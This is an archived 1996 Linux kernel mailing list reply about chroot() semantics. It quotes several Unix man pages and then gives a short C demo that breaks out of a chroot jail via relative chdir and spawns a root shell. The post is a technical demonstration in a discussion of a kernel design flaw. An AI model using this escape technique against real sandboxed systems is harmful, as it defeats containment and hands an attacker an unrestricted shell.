lkml.org 
[lkml]   [1996]   [Nov]   [15]   [last100]   RSS Feed
Views: [wrap][no wrap]   [headers]  [forward] 
 
Messages in this thread
/
From
SubjectRe: Glitch in sys_chroot()
Date

> SunOS 4.1.1: "The current working directory is unaffected by this call."
>
> SunOS 5.4 / Solaris 2.4: "The user's working directory is unaffected
> by the chroot() and fchroot() functions."
>
> IRIX 5.3: "The user's working directory is unaffected by the chroot
> system call."
>
> NetBSD 1.2: "It should be noted that chroot() has no effect on the
> process's current directory."
>
> Any questions?

No but a little demo on each of those machines

/* Escape from chroot after getting root in the chroot area */

main()
{
mkdir("fred");
chroot("fred");
chdir("../../../../../../../../../");
chroot("/");
execl("/bin/sh","-sh",NULL);
}




\
 
 \ /
  Last update: 2005-03-22 13:38    [W:0.109 / U:0.324 seconds]
©2003-2020 Jasper Spaans|hosted at Digital Ocean and TransIP|Read the blog|Advertise on this site